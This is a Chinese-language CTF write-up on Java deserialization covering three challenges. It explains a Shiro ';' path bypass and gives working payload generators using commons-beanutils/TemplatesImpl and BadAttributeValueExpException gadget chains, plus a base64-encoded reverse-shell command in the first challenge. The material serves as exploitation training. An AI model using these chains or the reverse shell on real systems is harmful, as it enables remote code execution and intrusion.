前言
学习java反序列化遇到各种调用链是经常的事情,但因为调用链的复杂不是很方便理解。这里找几道java反序列化相关的CTF题目帮助我们理解java反序列化漏洞。
2022美团CTF
首先在本地将jar启动,浏览器访问该端口。页面显示为登录框。
image.png分析
将jar包放在jd-gui里面打开可以看到源代码。
image.png可以看出在访问/admin/hello
路由时,通过data传递的参数先进行base64解码之后会触发ObjectInputStream
类的 readObject() 方法,该方法用于反序列化,将字节流重构为对象。
显而易见的是该路由无法访问,是因为在ShiroConfig
类进行了过滤。
filterMap.put("/admin/*", "authc");
即访问admin路由下的任意内容均需要权限认证。
anon:匿名用户可访问
authc:认证用户可访问
user:使用rememberMe可访问
perms:对应权限可访问
role:对应角色权限可访问
在pom.xml 里看到当前shiro版本为1.5.2,可使用;
绕过
存在shiro 权限绕过漏洞。
image.pngShiro将;
认作为/
,再进入Spring时又会被正确处理为web应用下的/admin/hello 路由。
payload 构造
下面就是如何进行反序列化了?
查看lib库里存在常见的commons-beanutils-1.9.4.jar和commons-collections-3.2.2.jar。
以commons-beanutils-1.9.4.jar为例
package com.example.demo3.tools;
/**
* @author cseroad
*/
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
import java.io.*;
import java.util.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
public class commons_beanutils {
public static byte[] serialize(Object o)throws Exception{
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(o);
return barr.toByteArray();
}
public static void unserialize(byte[] barr) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr));
ois.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
byte[] code = Files.readAllBytes(Paths.get("/Users/cseroad/IdeaProjects/demo3/target/classes/com/example/demo3/tools/eval.class"));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "Arsene.Tang");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
BeanComparator comparator = new BeanComparator();
Queue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(1);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
System.out.println(Base64.getEncoder().encodeToString(serialize(queue)));
//unserialize(serialize(queue));
}
}
eval.java
package com.example.demo3.tools;
/**
* @author cseroad
*/
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class eval extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public eval() throws Exception {
Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
}
}
注意引用的commons-beanutils要和题目的版本保持一致。
将生成的payload再进行一次url编码。
成功弹出计算器。说明调用链没有问题了,下面只需要更改为反弹shell的命令即可。
Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjIxMC4yOC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}"});
小结
该题目考察了shiro的权限绕过和commons-beanutils调用链的基本操作。
东华杯2021 ezgadget
也是一个java包,在本地启动即可。
image.png分析
同样将jar包放在jd-gui里面打开可以看到源代码。
image.png当访问readobject路由时,接受一个data参数 base64解码后,先读取字符串和INT并判断,判断通过后再读取对象进行反序列化。
但这里只是一个反序列化操作,lib库也没有引用多余的jar包。
ToStringBean类实现了 Serializabel 接口,是可以序列化的,而里面调用了defineClass,用来加载字节码,并且通过newInstance实例化加载Class类。
因此如果可以调用到该toString()
方法,并且控制ClassByte内容,就可以实现命令执行。
而在cc5中存在一条gadget调用链,可以调用任意类的toString()
方法。
即BadAttributeValueExpException可以主动触发val字段的toString方法
。
payload 构造
现在尝试构造一下payload。
首先是实例化BadAttributeValueExpException类,反射传值val
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException();
Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(obj,value);
调用的是ToStringBean类的toString()
方法。并设置ClassByte
byte[] bytes = null;
ToStringBean toStringBean = new ToStringBean();
Field classByte = toStringBean.getClass().getDeclaredField("ClassByte");
classByte.setAccessible(true);
classByte.set(toStringBean,bytes);
而后就是序列化类,先写进字符串和int,再写进对象。
ByteArrayOutputStream OutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(OutputStream);
objectOutputStream.writeUTF("gadgets");
objectOutputStream.writeInt(2021);
objectOutputStream.writeObject(badAttributeValueExpException);
byte[] bytes1 = OutputStream.toByteArray();
Tools tools = new Tools();
String s = tools.base64Encode(bytes1);
整理以后poc为
package com.ezgame.ctf.tools;
import org.junit.Test;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
/**
* @author cseroad
*/
public class test {
@Test
public void test() throws Exception {
byte[] bytes = Files.readAllBytes(Paths.get("/Users/cseroad/IdeaProjects/demo3/target/classes/com/example/demo3/tools/poc.class"));
ToStringBean toStringBean = new ToStringBean();
Field classByte = toStringBean.getClass().getDeclaredField("ClassByte");
classByte.setAccessible(true);
classByte.set(toStringBean,bytes);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("111");
Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,toStringBean);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeUTF("gadgets");
objectOutputStream.writeInt(2021);
objectOutputStream.writeObject(badAttributeValueExpException);
byte[] bytes1 = byteArrayOutputStream.toByteArray();
Tools tools = new Tools();
String s = tools.base64Encode(bytes1);
System.out.println(s);
}
}
poc.java
import java.io.IOException;
/**
* @author cseroad
*/
public class poc {
public poc(){
}
static {
try{
Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
} catch (IOException e){
e.printStackTrace();
}
}
}
需要注意的是ToStringBean类在com.ezgame.ctf.tools
包下,所以构造poc时也要同样的包名。
否则提示类不存在。
image.png小结
该题目巧妙借用cc5的BadAttributeValueExpException类,调用到指定包下的ToStringBean类的toString()
方法,从而命令执行。
调用链如下:
com.ezgame.ctf.controller.Tools.base64Decode() --->
objectInputStream.readObject() --->
BadAttributeValueExpException.readObject --->
com.ezgame.ctf.tools.ToStringBean.toString() --->
JavaLearnVulnerability
在 https://github.com/SummerSec/JavaLearnVulnerability/tree/master/shiro/shiro-ctf/target 下载jar 包,启动即可。
image.png分析
同样将jar包放进jd-gui里面打开可以看到源代码。
先看pom.xml
再看shiroconfig类,访问index路由需要权限认证。
但shiro为1.5.3版本,存在权限绕过。
引用nice0e3大佬的总结图。
成功绕过。
image.png再看控制器层
image.png当访问/index/
路由时,从请求中获取cookie值,并判断cookie的name值是否等于hacker,如果存在对cookie值进行base64解码后反序列化操作。
入口类source就找到了。那用来做什么操作呢?
在com.summersec.shiroctf.Tools#Tools
存在一个exeCmd()
方法,用来命令执行。
而在com.summersec.shiroctf.Tools#LogHandler
存在一个invoke()
方法和toString()
方法。都调用了exeCmd()
方法。
如果可以调用这两个方法的任意一个,并控制其中的静态变量值,就可以实现命令执行。
payload 构造
以调用LogHandler类的toString()
方法为例,那就先实例化出来并调用
LogHandler logHandler = new LogHandler();
logHandler.toString();
需要控制的是私有的属性值readLog,反射调用。
LogHandler logHandler = new LogHandler();
Field readLog = logHandler.getClass().getDeclaredField("readLog");
readLog.setAccessible(true);
readLog.set(logHandler,"");
logHandler.toString();
调用LogHandler类的toString()
方法,就自然想到了BadAttributeValueExpException类。
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException, logHandler);
接着就是序列化
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(badAttributeValueExpException);
byte[] bytes1 = byteArrayOutputStream.toByteArray();
Tools tools = new Tools();
String s = tools.base64Encode(bytes1);
System.out.println(s);
将以上代码整理后就是payload
package com.summersec.shiroctf.Tools;
import org.junit.jupiter.api.Test;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
/**
* @author cseroad
*/
public class test {
@Test
public void test() throws Throwable {
LogHandler logHandler = new LogHandler();
Field readlog = logHandler.getClass().getDeclaredField("readLog");
readlog.setAccessible(true);
readlog.set(logHandler, "/System/Applications/Calculator.app/Contents/MacOS/Calculator");
//logHandler.toString();
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException, logHandler);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(badAttributeValueExpException);
byte[] bytes1 = byteArrayOutputStream.toByteArray();
Tools tools = new Tools();
String s = tools.base64Encode(bytes1);
System.out.println(s);
}
}
image.png
小结
这道题目很好的将上面的两个题目进行了整合。即巩固了shiro的权限绕过又再次学习了BadAttributeValueExpException类的使用。
调用链如下:
com.summersec.shiroctf.Tools.base64Decode() --->
com.summersec.shiroctf.Tools.deserialize() --->
ObjectInputStream.readObject() --->
BadAttributeValueExpException#readObject --->
com.summersec.shiroctf.Tools.LogHandler#toString --->
com.summersec.shiroctf.Tools.exeCmd()
总结
做了几道关于java反序列的题目,加深了对反序列的理解,在尚且还不清楚各种复杂调用链的情况下,很适合初学者练习。
网友评论